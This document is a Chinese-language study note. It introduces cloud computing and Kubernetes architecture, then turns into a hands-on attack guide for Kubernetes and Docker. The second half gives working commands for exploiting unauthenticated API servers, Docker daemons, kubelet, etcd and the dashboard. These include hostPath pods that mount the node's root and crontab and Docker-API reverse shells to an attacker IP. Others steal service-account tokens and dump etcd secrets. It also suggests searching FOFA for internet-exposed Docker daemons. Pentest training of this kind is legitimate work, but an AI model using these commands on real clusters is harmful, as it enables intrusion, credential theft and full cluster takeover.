雲的定義看似模糊,但本質上,它是一個用於描述全球伺服器網路的術語,每個伺服器都有一個獨特的功能。雲不是一個物理實體,而是一個龐大的全球遠端伺服器網路,它們連線在一起,旨在作為單一的生態系統執行。這些伺服器設計用於儲存和管理資料、執行應用程式,或者交付內容/服務(如視訊短片、Web 郵件、辦公室生產力軟體或社交媒體)。不是從本地或個人計算機存取檔案和資料,而是通過任何支援 Internet 的裝置線上存取 - 這些資訊在必要時隨時隨地可用。
企業採用 4 種不同的方法部署雲資源。存在一個公有云,它通過 Internet 共用資源並向公眾提供服務;一個私有云,它不進行共用且經由通常本地託管的私有內部網路提供服務;一個混合雲,它根據其目的在公有云和私有云之間共用服務;以及一個社群雲,它僅在組織之間(例如與政府機構)共用資源。
《雲是什麼- 定義 - Microsoft Azure》
k8s即Kubernetes。
其為google開發來被用於容器管理的開源應用程式,可幫助建立和管理應用程式的容器化。
用一個的例子來描述:」當虛擬化容器Docker有太多要管理的時候,手動管理就會很麻煩,於是我們便可以通過k8s來簡化我們的管理」
我們在上文已經知道,K8S是用於管理虛擬化容器的一個應用系統,在這小節中會著重講述K8S的架構、實現原理。
下圖為K8S架構的概覽:
kubectl 是 k8s 的使用者端工具,可以使用命令列管理叢集
k8s主要由較少的master節點以及其對應的多個Node節點組成。master用於對Node節點進行控制管理,一個k8s叢集中至少要有一臺master節點。
Master節點中包含很多的元件,主要為如下
etcd :
它儲存叢集中每個節點可以使用的設定資訊。它是一個高可用性鍵值儲存,可以在多個節點之間分佈。只有Kubernetes API伺服器可以存取它,因為它可能具有一些敏感資訊。這是一個分散式鍵值儲存,所有人都可以存取。 簡而言之:儲存節點資訊
API server :
Kubernetes是一個API伺服器,它使用API在叢集上提供所有操作。API伺服器實現了一個介面,這意味著不同的工具和庫可以輕鬆地與其進行通訊。Kubeconfig是與可用於通訊的伺服器端工具一起的軟體包。它公開Kubernetes API 。簡而言之:讀取與解析請求指令的中樞
Controller Manage :
該元件負責調節群集狀態並執行任務的大多數收集器。通常,可以將其視為在非終止迴圈中執行的守護程式,該守護程式負責收集資訊並將其傳送到API伺服器。它致力於獲取群集的共用狀態,然後進行更改以使伺服器的當前狀態達到所需狀態。關鍵控制器是複製控制器,端點控制器,名稱空間控制器和服務帳戶控制器。控制器管理器執行不同型別的控制器來處理節點,端點等。 簡而言之:維護k8s資源
Scheduler :
這是Kubernetes master的關鍵元件之一。它是主伺服器中負責分配工作負載的服務。它負責跟蹤群集節點上工作負載的利用率,然後將工作負載放在可用資源上並接受該工作負載。換句話說,這是負責將Pod分配給可用節點的機制。排程程式負責工作負載利用率,並將Pod分配給新節點。 簡而言之:負載均衡排程器
Node節點也包含了很多元件,主要如下
Docker :
Docker引擎,執行著容器的基礎環境
kubelet :
在每個node節點都存在一份,主要來執行關於資源操作的指令,負責pod的維護。
kube-proxy :
代理服務,用於負載均衡,在多個pod之間做負載均衡
fluentd :
紀錄檔收集服務
pod :
pod是k8s的最小服務單元,pod內部才是容器,k8s通過操作pod來操作容器。一個Node節點可以有多個Pod
Pod可以說是Node節點中最核心的部分,Pod也是一個容器,它是一個」用來封裝容器的容器」。一個Pod中往往會裝載多個容器,這些容器共用一個虛擬環境,共用著網路和儲存等資源。
這些容器的資源共用以及相互互動都是由pod裡面的pause容器來完成的,每初始化一個pod時便會生成一個pause容器。
使用者端命令下發通常流程如下:
見《K8S環境搭建.md》
https://kuboard.cn/learning/(非常好的中文教學)
https://kubernetes.io/zh/docs/tutorials/kubernetes-basics/(k8s官方教學,有互動式操作介面,稍微有點不好的是有些地方沒有中文)
以下內容來自https://kuboard.cn/learning/k8s-basics/kubernetes-basics.html
Worker節點(即Node)是VM(虛擬機器器)或物理計算機,充當k8s叢集中的工作計算機
Deployment 譯名為 部署。在k8s中,通過釋出 Deployment,可以建立應用程式 (docker image) 的範例 (docker container),這個範例會被包含在稱為 Pod 的概念中,Pod 是 k8s 中最小可管理單元。
在 k8s 叢集中釋出 Deployment 後,Deployment 將指示 k8s 如何建立和更新應用程式的範例,master 節點將應用程式範例排程到叢集中的具體的節點上。
建立應用程式範例後,Kubernetes Deployment Controller 會持續監控這些範例。如果執行範例的 worker 節點關機或被刪除,則 Kubernetes Deployment Controller 將在群集中資源最優的另一個 worker 節點上重新建立一個新的範例。這提供了一種自我修復機制來解決機器故障或維護問題。
在容器編排之前的時代,各種安裝指令碼通常用於啟動應用程式,但是不能夠使應用程式從機器故障中恢復。通過建立應用程式範例並確保它們在叢集節點中的執行範例個數,Kubernetes Deployment 提供了一種完全不同的方式來管理應用程式。
相關命令:
kubectl 是 k8s 的使用者端工具,可以使用命令列管理叢集
kubectl備忘錄:https://kubernetes.io/zh-cn/docs/reference/kubectl/cheatsheet/
# 檢視 Deployment
kubectl get deployments
# 檢視 Pod
kubectl get pods
#根據yaml檔案部署
kubectl apply -f nginx-deployment.yaml
一個yaml檔案差不多就長這樣: (nginx-deployment.yaml)
apiVersion: apps/v1 #與k8s叢集版本有關,使用 kubectl api-versions 即可檢視當前叢集支援的版本kind: Deployment #該設定的型別,我們使用的是 Deployment
metadata: #譯名為後設資料,即 Deployment 的一些基本屬性和資訊
name: nginx-deployment #Deployment 的名稱
labels: #標籤,可以靈活定位一個或多個資源,其中key和value均可自定義,可以定義多組,目前不需要理解
app: nginx #為該Deployment設定key為app,value為nginx的標籤
spec: #這是關於該Deployment的描述,可以理解為你期待該Deployment在k8s中如何使用 replicas: 1 #使用該Deployment建立一個應用程式範例
selector: #標籤選擇器,與上面的標籤共同作用,目前不需要理解
matchLabels: #選擇包含標籤app:nginx的資源
app: nginx
template: #這是選擇或建立的Pod的模板
metadata: #Pod的後設資料
labels: #Pod的標籤,上面的selector即選擇包含標籤app:nginx的Pod
app: nginx
spec: #期望Pod實現的功能(即在pod中部署)
containers: #生成container,與docker中的container是同一種
- name: nginx #container的名稱
image: nginx:1.7.9 #使用映象nginx:1.7.9建立container,該container預設80埠可存取
Pod 容器組 是一個k8s中一個抽象的概念,用於存放一組 container(可包含一個或多個 container 容器,即圖上正方體),以及這些 container (容器)的一些共用資源。這些資源包括:
POD是叢集上最基礎的單元
下圖中的一個 Node(節點)上含有4個 Pod(容器組)
Pod(容器組)總是在 Node(節點) 上執行。Node(節點)是 kubernetes 叢集中的計算機,可以是虛擬機器器或物理機。每個 Node(節點)都由 master 管理。一個 Node(節點)可以有多個Pod(容器組),kubernetes master 會根據每個 Node(節點)上可用資源的情況,自動排程 Pod(容器組)到最佳的 Node(節點)上。
一個Node節點的狀態大致有以下的東西
Addresses :地址
Conditions :狀況(conditions 欄位描述了所有 Running 節點的狀態)
Capacity and Allocatable :容量與可分配,描述節點上的可用資源:CPU、記憶體和可以排程到節點上的 Pod 的個數上限。
Info :關於節點的一般性資訊,例如核心版本、Kubernetes 版本(kubelet 和 kube-proxy 版本)、 Docker 版本(如果使用了)和作業系統名稱。這些資訊由 kubelet 從節點上搜集而來。
HostName:由節點的核心設定。可以通過 kubelet 的 —hostname-override 引數覆蓋。
ExternalIP:通常是節點的可外部路由(從叢集外可存取)的 IP 地址。
InternalIP:通常是節點的僅可在叢集內部路由的 IP 地址。
Ready 如節點是健康的並已經準備好接收 Pod 則為 True;False 表示節點不健康而且不能接收 Pod;Unknown 表示節點控制器在最近 node-monitor-grace-period 期間(預設 40 秒)沒有收到節點的訊息
DiskPressure為True則表示節點的空閒空間不足以用於新增新 Pod, 否則為 False
MemoryPressure為True則表示節點存在記憶體壓力,即節點記憶體可用量低,否則為 False
PIDPressure為True則表示節點存在程序壓力,即節點上程序過多;否則為 False
NetworkUnavailable為True則表示節點網路設定不正確;否則為 False
相關命令:
#獲取型別為Pod的資源列表
kubectl get pods
#獲取型別為Node的資源列表
kubectl get nodes
# kubectl describe 資源型別 資源名稱
#檢視名稱為nginx-XXXXXX的Pod的資訊
kubectl describe pod nginx-XXXXXX
#檢視名稱為nginx的Deployment的資訊
kubectl describe deployment nginx
#檢視名稱為nginx-pod-XXXXXXX的Pod內的容器列印的紀錄檔
kubectl logs -f podname
#在Pod中執行命令
kubectl exec -it nginx-pod-xxxxxx /bin/bash
https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-service-服務-概述
通過以上內容我們知道,應用程式所在的Pod是一直變動著的,而每個Pod的ip又不一樣,但是對於前端使用者來說,應用程式的存取地址應該是唯一的才行。
因此k8s提供了一個機制用來為前端遮蔽後端Pod變動帶來的IP變動,這便是Service。
Service為一系列有相同特徵的Pod(一個應用的Pod在不停變換,但是不論怎麼變換這些Pod都有相同的特徵)定義了一個統一的存取方式,
Service是通過標籤選擇器(LabelSelector)來識別有哪些Pod有相同特徵(帶有特定Lable標籤的POD,Lable可以由使用者設定,標籤存在於所有K8S物件上並不僅僅侷限於Pod) 可以編成一個容器組的。
Service有三種選項暴露應用程式的入口,可以通過設定應用程式組態檔中的Service 項的spec.type 值來調整:
ClusterIP(預設)
在群集中的內部IP上公佈服務,這種方式的 Service(服務)只在叢集內部可以存取到
NodePort
使用 NAT 在叢集中每個的同一埠上公佈服務。這種方式下,可以通過存取叢集中任意節點+埠號的方式訪 問服務 <NodeIP>:<NodePort>
。此時 ClusterIP 的存取方式仍然可用。
在雲環境中(需要雲供應商可以支援)建立一個叢集外部的負載均衡器,併為使用該負載均衡器的 IP 地址作為 服務的存取地址。此時 ClusterIP 和 NodePort 的存取方式仍然可用。
下圖中有兩個服務Service A(黃色虛線)和Service B(藍色虛線) Service A 將請求轉發到 IP 為 10.10.10.1 的Pod上, Service B 將請求轉發到 IP 為 10.10.10.2、10.10.10.3、10.10.10.4 的Pod上。
Service 將外部請求路由到一組 Pod 中,它提供了一個抽象層,使得 Kubernetes 可以在不影響服務呼叫者的情況下,動態排程容器組(在容器組失效後重新建立容器組,增加或者減少同一個 Deployment 對應容器組的數量等)。
在每個節點上都有Kube-proxy服務,Service使用其將連結路由到Pod
可以通過更改deployment組態檔中的replicas項來設定開啟的POD數量
在前面,我們建立了一個 Deployment,然後通過 服務提供存取 Pod 的方式。我們釋出的 Deployment 只建立了一個 Pod 來執行我們的應用程式。當流量增多導致應用程式POD負載加重後,我們需要對應用程式進行伸縮操作,增加POD數量來減輕負擔,存取流量將會通過負載均衡在多個POD之間轉發。
伸縮 的實現可以通過更改 nginx-deployment.yaml 檔案中部署的 replicas(副本數)來完成
spec:
replicas: 2 #使用該Deployment建立兩個應用程式範例
當我們想對已經部署的程式進行升級更新,但又不想讓程式停止,就可以使用捲動更新來實現。
捲動更新通過使用新版本的POD逐步替代舊版本POD來實現零停機更新
捲動更新是K8S預設的更新方式
Kubernetes 叢集中包含兩類使用者:一類是由 Kubernetes管理的service account,另一類是普通使用者。
詳細內容參考筆記《k8s存取控制過程(安全機制).md》
k8s 中所有的 api 請求都要通過一個 gateway 也就是 apiserver 元件來實現,是叢集唯一的存取入口。主要實現的功能就是api 的認證 + 鑑權以及准入控制。
三種機制:
注意:認證授權過程只存在HTTPS形式的API中。也就是說,如果使用者端使用HTTP連線到kube-apiserver,是不會進行認證授權
使用者端證書認證,X509 是一種數位憑證的格式標準,是 kubernetes 中預設開啟使用最多的一種,也是最安全的一種。api-server 啟動時會指定 ca 證書以及 ca 私鑰,只要是通過同一個 ca 簽發的使用者端 x509 證書,則認為是可信的使用者端,kubeadm 安裝叢集時就是基於證書的認證方式。
user 生成 kubeconfig就是X509 client certs方式。
因為基於x509的認證方式相對比較複雜,不適用於k8s叢集內部pod的管理。Service Account Tokens是 service account 使用的認證方式。定義一個 pod 應該擁有什麼許可權。一個 pod 與一個服務賬戶相關聯,該服務賬戶的憑證(token)被放入該pod中每個容器的檔案系統樹中,位於/var/run/secrets/kubernetes.io/serviceaccount/token
service account 主要包含了三個內容:namespace、token 和 ca
K8S 目前支援瞭如下四種授權機制:
具體到授權模式其實有六種:
可以選擇多個鑑權模組。模組按順序檢查,以便較靠前的模組具有更高的優先順序來允許 或拒絕請求。
從1.6版本起,Kubernetes 預設啟用RBAC存取控制策略。從1.8開始,RBAC已作為穩定的功能。
CDK是一款為容器環境客製化的滲透測試工具,在已攻陷的容器內部提供零依賴的常用命令及PoC/EXP。整合Docker/K8s場景特有的 逃逸、橫向移動、持久化利用方式,外掛化管理。
下圖是K8S的一些攻擊矩陣
本文就圍繞著這個框架,敘述一些有用的攻擊手法吧
資訊收集與我們的攻擊場景或者說進入的內網的起點分不開。一般來說內網不會完全基於容器技術進行構建。所以起點一般可以分為許可權受限的容器和物理主機內網。
在K8s內部叢集網路主要依靠網路外掛,目前使用比較多的主要是Flannel和Calico
主要存在4種型別的通訊:
當我們起點是一個在k8s叢集內部許可權受限的容器時,和常規內網滲透區別不大,上傳埠掃描工具探測即可。
在k8s環境中,內網探測可以高度關注的埠: (各埠的滲透在下面會展開)
kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8081
kubelet: 10250, 10255, 4149
dashboard: 30000
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080
在如今的雲的大環境下,許多業務程式碼想要與雲服務進行通訊,就需要通過accesskey這個東西進行鑑權,鑑權通過後才能與雲服務進行通訊。
通俗來講,人想要存取一個服務,往往需要提供密碼來進行身份驗證;而程式碼想要存取一個雲服務API,則需要提供accesskey來進行身份驗證。
如果accesskey洩露了,我們便可以利用這個accesskey來與雲服務通訊,反彈個雲主機的shell回來作為入口點慢慢往內打。
下面文章是關於雲原生安全中accesskey安全更加詳細的論述,閱讀後可以對accesskey的概念有更深入的瞭解。
https://www.freebuf.com/articles/web/287512.html
https://www.freebuf.com/articles/web/255717.html
在docker中,容器的建立依賴於映象,如果pull得到的映象是一個惡意映象,或者pull得到的映象本身就存在安全漏洞,便會帶來安全風險
下圖便是dockerhub上部署挖礦軟體的惡意映象,它會從github上下載惡意挖礦軟體進行挖礦
屬於是K8S中的經典漏洞了
回顧一下API Server的作用,它在叢集中被用於提供API來控制叢集內部,如果我們能控制API Server,就意味著我們可以通過它利用kubectl建立Pod並使用磁碟掛載技術獲取Node節點控制權(關於磁碟掛載獲取節點shell的技術在後面的小節中再進行詳細論述)。
API Server可以在兩個埠上提供了對外服務:8080(insecure-port,非安全埠)和6443(secure-port,安全埠),其中8080埠提供HTTP服務且無需身份認證,6443埠提供HTTPS服務且支援身份認證(8080和6443埠並不是固定的,是通過組態檔來控制的)。
API Server在8080埠上開放的服務應該是用於測試,但如果其在生存環境中被暴露出來,攻擊者便可以利用此埠進行對叢集的攻擊。
但是利用API Server的8080埠進行未授權活動的前提條件略顯苛刻(設定失當+版本較低),8080埠服務是預設不啟動的,但如果使用者在 /etc/kubernets/manifests/kube-apiserver.yaml
中有 --insecure-port=8080
設定項,那就啟動了非安全埠,有了安全風險。
注:1.20版本後該選項已無效化
環境前提:
step1:進入cd /etc/kubernetes/manifests/
step2: 修改api-kube.conf
新增- -–insecure-port=8080
新增- -–insecure-bind-address=0.0.0.0
Kubelet 會監聽該檔案的變化,當您修改了 /etc/kubernetes/manifests/kube-apiserver.yaml 檔案之後,kubelet 將自動終止原有的 kube-apiserver-{nodename} 的 Pod,並自動建立一個使用了新設定引數的 Pod 作為替代
重啟服務
systemctl daemon-reload
systemctl restart kubelet
在實際環境中,因為8080埠相對比較常見,導致在內部排查常常忽略這個風險點。
環境資訊:
一個叢集包含三個節點,其中包括一個控制節點和兩個工作節點
- K8s-master 192.168.11.152
- K8s-node1 192.168.11.153
- K8s-node2 192.168.11.160
攻擊機kali
- 192.168.11.128
直接存取 8080 埠會返回可用的 API 列表:
使用kubectl可以指定IP和埠呼叫存在未授權漏洞的API Server。
如果沒有kubectl,需要安裝kubectl,安裝可以參考官網檔案:
使用kubectl獲取叢集資訊:
kubectl -s ip:port get nodes
注:如果你的kubectl版本比伺服器的高,會出現錯誤,需要把kubectl的版本降低.
接著在本機上新建個yaml檔案用於建立容器,並將節點的根目錄掛載到容器的 /mnt 目錄,內容如下:
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
然後使用 kubectl 建立容器,這個時候我們發現是無法指定在哪個節點上建立pod。
kubectl -s 192.168.11.152:8080 create -f test.yaml
kubectl -s 192.168.11.152:8080 --namespace=default exec -it test bash
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab
稍等一會獲得node02節點許可權:
或者也可以通過寫公私鑰的方式控制宿主機。
如果apiserver設定了dashboard的話,可以直接通過ui介面建立pod。
若我們不帶任何憑證的存取 API server的 secure-port埠,預設會被伺服器標記為system:anonymous
使用者。
一般來說system:anonymous
使用者許可權是很低的,但是如果運維人員管理失當,把system:anonymous
使用者繫結到了cluster-admin
使用者組,那麼就意味著secure-port允許匿名使用者以管理員許可權向叢集下達命令。(也就是secure-port變成某種意義上的insecure-port了)
方法一
kubectl -s https://192.168.111.20:6443/ --insecure-skip-tls-verify=true get nodes
#(192.168.111.20:6443 是master節點上apiserver的secure-port)然後提示輸入賬戶密碼,隨便亂輸就行
正常情況應該是這樣
但如果secure-port 設定失當出現了未授權,就會這樣
方法二
利用cdk工具通過"system:anonymous"
匿名賬號嘗試登入
./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"
建立特權容器:
之後的攻擊方式和上面是一樣的
k8s configfile組態檔中可能會有api-server登陸憑證等敏感資訊,如果獲取到了叢集configfile內容(如洩露在github),將會對叢集內部安全造成巨大影響。
這裡參照阿里雲社群的一張圖
顧名思義,容器內部應用就有問題(比如內部應用是tomcat,且有RCE漏洞),從而就會導致駭客獲取Pod shell,拿到入口點
Docker以server-client的形式工作,伺服器端叫Docker daemon,使用者端叫docker client。
Docker daemon想呼叫docker指令,就需要通過docker.sock這個檔案向docker client進行通訊。換句話說,Docker daemon通過docker.sock這個檔案去管理docker容器(如建立容器,容器內執行命令,查詢容器狀態等)。
同時,Docker daemon也可以通過設定將docker.sock暴露在埠上,一般情況下2375埠用於未認證的HTTP通訊,2376用於可信的HTTPS通訊。
如果docker daemon 2375埠暴露在了公網上,那麼便可以直接利用該埠控制docker容器,並通過新建容器配合磁碟掛載技術獲取宿主機許可權。
fofa搜尋
server="Docker" && port="2375"
可以發現有很多暴露在公網的docker.sock,
我們選一個來試試水
可以發現是成功的呼叫了API查詢了容器狀態
然後我們可以通過如下指令,在指定容器內部執行命令
curl -X POST "http://ip:2375/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
獲取到一個id
然後請求這個id,執行此命令
curl -X POST "http://ip:2375/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
就像這樣:(圖片參照自freebuf)
如果我們入侵了一個docker容器,這個docker容器裡面有docker.sock(常用路徑/var/run/docker.sock),那麼就可以直接利用此檔案控制docker daemon。
把上一小節的命令改改就行,加一個—unix-socket引數。
curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
一般來說docker.sock是存在於docker daemon伺服器端的,但如果開發人員想在docker容器裡執行docker命令,就需要把宿主機的docker.sock掛載到容器內部了,這就給了我們docker逃逸的可乘之機。
Docker Daemon未授權存取的檢測與利用:
#探測是否存取未授權存取
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info
#推薦使用這種方式,操作方便。
export DOCKER_HOST="tcp://192.168.238.129:2375"
Docker Daemon未授權實戰案例:
危害:
- 可以直接控制該node下的所有pod
- 檢索尋找特權容器,獲取 Token
- 如果能夠從pod獲取高許可權的token,則可以直接接管叢集。
kubelet和kubectl的區別?
kubelet是在Node上用於管理本機Pod的,kubectl是用於管理叢集的。kubectl向叢集下達指令,Node上的kubelet收到指令後以此來管理本機Pod。
Kubelet API 一般監聽在2個埠:10250、10255。其中,10250埠是可讀寫的,10255是一個唯讀埠。
kubelet對應的API埠預設在10250,執行在叢集中每臺Node上,kubelet 的組態檔在node上的/var/lib/kubelet/config.yaml
我們重點關注組態檔中的這兩個選項:第一個選項用於設定kubelet api能否被匿名存取,第二個選項用於設定kubelet api存取是否需要經過Api server進行授權(這樣即使匿名⽤戶能夠存取也不具備任何許可權)。
在預設情況下,kubelet組態檔就如上圖所示,我們直接存取kubelet對應API埠會顯示認證不通過
我們將組態檔中,authentication-anonymous-enabled改為true,authorization-mode改為AlwaysAllow,再使用命令systemctl restart kubelet
重啟kubelet,那麼就可以實現kubelet未授權存取
關於authorization-mode還有以下的設定:
--authorization-mode=ABAC 基於屬性的存取控制(ABAC)模式允許你 使用本地檔案設定策略。
--authorization-mode=RBAC 基於角色的存取控制(RBAC)模式允許你使用 Kubernetes API 建立和儲存策略。
--authorization-mode=Webhook WebHook 是一種 HTTP 回撥模式,允許你使用遠端 REST 端點管理鑑權。
--authorization-mode=Node 節點鑑權是一種特殊用途的鑑權模式,專門對 kubelet 發出的 API 請求執行鑑權。
--authorization-mode=AlwaysDeny 該標誌阻止所有請求。僅將此標誌用於測試。
--authorization-mode=AlwaysAllow 此標誌允許所有請求。僅在你不需要 API 請求 的鑑權時才使用此標誌。
在我們發現kubelet未授權後,可以進行以下操作拿到入口點
如果有kubelet未授權,那就可以用以下命令在Pod內執行命令
curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"
其中的引數可以從https://node_ip:10250/pods 中獲取
- metadata.namespace 下的值為 namespace
- metadata.name下的值為 pod_name
- spec.containers下的 name 值為 container_name
可以直接回顯命令結果,很方便
如果能在Pod內執行命令,那麼就可以獲取Pod裡service account的憑據,使用Pod上的service account憑據可以用來模擬Pod上的服務賬戶進行操作,具體利用方法見下面的小節:[利用Service Account連線API Server執行指令](#利用Service Account連線API Server執行指令)
環境資訊:
一個叢集包含三個節點,其中包括一個控制節點和兩個工作節點
- K8s-master 192.168.11.152
- K8s-node1 192.168.11.153
- K8s-node2 192.168.11.160
攻擊機kali
- 192.168.11.128
存取https://192.168.11.160:10250/pods,出現如下資料表示可以利用:
想要在容器裡執行命令的話,我們需要首先確定namespace、pod_name、container_name這幾個引數來確認容器的位置。
這裡可以通過檢索securityContext欄位快速找到特權容器
在對應的容器裡執行命令,獲取 Token,該token可用於Kubernetes API認證,Kubernetes預設使用RBAC鑑權(當使用kubectl命令時其實是底層通過證書認證的方式呼叫Kubernetes API)
token 預設儲存在pod 裡的/var/run/secrets/kubernetes.io/serviceaccount/token
curl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
如果掛載到叢集內的token具有建立pod的許可權,可以通過token存取叢集的api建立特權容器,然後通過特權容器逃逸到宿主機,從而擁有叢集節點的許可權
kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods
接下來便是通過建立pod來掛載目錄,然後用crontab來獲得shell了 。
etcd是k8s叢集中的資料庫元件,預設監聽在2379埠,預設通過證書認證,主要存放節點的資訊,如一些token和證書。如果2379存在未授權,那麼就可以通過etcd查詢叢集內管理員的token,然後用這個token存取api server接管叢集。
etcd有v2和v3兩個版本,k8s用的是v3版本,所以我們在存取etcd的時候需要用命令ETCDCTL_API=3
來指定etcd版本。
我們想要利用etcd未授權,需要使用一個工具叫做etcdctl,它是用來管理etcd資料庫的,我們可以在github上下載它
https://github.com/etcd-io/etcd/releases/
「在啟動etcd時,如果沒有指定 –client-cert-auth 引數開啟證書校驗,並且沒有通過iptables / 防火牆等實施存取控制,etcd的介面和資料就會直接暴露給外部駭客」——愛奇藝安全應急響應中心
下載etcd:https://github.com/etcd-io/etcd/releases
解壓後在命令列中進入etcd目錄下。
etcdctl api版本切換:
export ETCDCTL_API=2
export ETCDCTL_API=3
探測是否存在未授權存取的Client API
etcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only
如果我們在沒有證書檔案的前提下直接存取2375埠,是呼叫不了etcd應用的,會提示X509證書錯誤。
我們需要將以下檔案加入環境變數(ca,key,cert)才能存取(如果有未授權,那麼不用帶證書都能存取)
export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
或者直接執行:
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
我們可以直接在etcd裡查詢管理員的token,然後使用該token配合kubectl指令接管叢集。
etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/
如果查詢結果有敏感賬戶,我們便可以去獲取他的token
etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712
拿到token以後,用kubectl接管叢集
kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes
kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" -n kube-system get pods
也可以嘗試dump etcd資料庫,然後去找敏感資訊
ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
如果伺服器啟用了https,需要加上兩個引數忽略證書校驗 --insecure-transport --insecure-skip-tls-verify
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only
舉個例子,如果一個企業它的許多雲上應用都是用的自建的私有映象搭建的,有一天它私有映象洩露出來了,我們就可以通過審計等手段去挖掘私有映象中的漏洞,造成供應鏈打擊。
dashboard是Kubernetes官方推出的控制Kubernetes的圖形化介面.在Kubernetes設定不當導致dashboard未授權存取漏洞的情況下,通過dashboard我們可以控制整個叢集。
預設設定登陸是需要輸入 Token 的且不能跳過
但是如果在設定引數中新增瞭如下引數,那麼在登陸的過程中就可以進行跳過 Token 輸入環節
- --enable-skip-login
點選Skip進入dashboard實際上使用的是Kubernetes-dashboard這個ServiceAccount,如果此時該ServiceAccount沒有設定特殊的許可權,是預設沒有辦法達到控制叢集任意功能的程度的。
給Kubernetes-dashboard繫結cluster-admin:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: dashboard-1
subjects:
- kind: ServiceAccount
name: k8s-dashboard-kubernetes-dashboard
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
繫結完成後,再次重新整理 dashboard 的介面,就可以看到整個叢集的資源情況。
獲取存取後直接建立特權容器即可getshell
這個技術是綜合了執行、持久化、許可權提升的一個攻擊方法,為了省事,就放在這裡一塊說了。
首先,在我們獲取了api server控制權後,我們可以建立Pod,並在Pod內部執行命令。如果我們在建立Pod時,將Node節點的根目錄掛載到Pod的某個目錄下,由於我們能在Pod內部執行命令,所以我們可以修改掛載到Pod下的Node節點根目錄中檔案的內容,如果我們寫入惡意crontab、web shell、ssh公鑰,便可以從Pod逃逸到宿主機Node,獲取Node控制權。
具體復現如下
先建立一個惡意Pod
首先我們建立惡意Pod,可以直接建立Pod,也可以用Deployment建立。
既然提到建立Pod,那麼就多提一句:直接建立Pod和用Deployment建立Pod的區別是什麼?
Deployment可以更方便的設定Pod的數量,方便Pod水平擴充套件。
Deployment擁有更加靈活強大的升級、回滾功能,並且支援捲動更新。
使用Deployment升級Pod只需要定義Pod的最終狀態,k8s會為你執行必要的操作。
如果建立一個小玩意,那麼直接建立Pod就行了,沒必要用deployment。
用Pod建立
apiVersion:v1
kind:Pod
metadate:
name:evilpod
spec:
containers:
- image:nginx
name:container
volumeMounts:
- mountPath:/mnt
name:test-volume
volumes:
- name: test-volume
hostPath:
path:/
用deployment建立
apiVersion: apps/v1
kind:Deployment
metadata:
name:nginx-deployment
labels:
apps:nginx-test
spec:
replicas:1
selector:
matchLabels:
app:nginx
template:
metadata:
labels:
app:nginx
spec:
containers:
- image:nginx
name:container
volumeMounts:
- mountPath : /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
將以上文字寫入到一個yaml檔案中,然後執行
kubectl apply -f xxxxx.yaml
如果是api server未授權打進去的,可能要通過-s引數設定一下api server的ip和地址:
kubectl -s http://master_ip:8080 command
這裡再多嘴一句 kubectl apply 和 kubectl create 這兩個命令的區別:
兩個命令都可以用於建立pod,apply更傾向於」維護資源「,可以用於更新已有Pod;而create更傾向於」直接建立「,不管三七二十一給我建立就完事了簡而言之,當一個資源已經存在時,用create會報錯,而apply不會報錯
惡意容器就建立好了
建立好了後使用命令 kubectl get pods
獲取惡意pod的名字
然後使用命令 kubectl exec -it evilpodname /bin/bash
進入pod內部shell,然後向掛載到Pod內部的Node根目錄中寫入惡意crontab/ssh公鑰/webshell即可拿到node的shell。
大致流程一張圖表示如下
k8s有兩種賬戶:使用者賬戶和服務賬戶,使用者賬戶被用於人與叢集互動(如管理員管理叢集),服務賬戶用於Pod與叢集互動(如Pod呼叫api server提供的一些API進行一些活動)
如果我們入侵了一臺有著高許可權服務賬戶的Pod,我們就可以用它對應的服務賬戶身份呼叫api server向叢集下達命令。
pod的serviceaccount資訊一般存放於/var/run/secrets/kubernetes.io/serviceaccount/
目錄下
但是預設的user或者service account並不具備任何許可權
這是預設情況下,一個pod使用自身service account(預設為當前名稱空間的default賬戶)去請求api server返回的結果,可以發現是沒有許可權的:
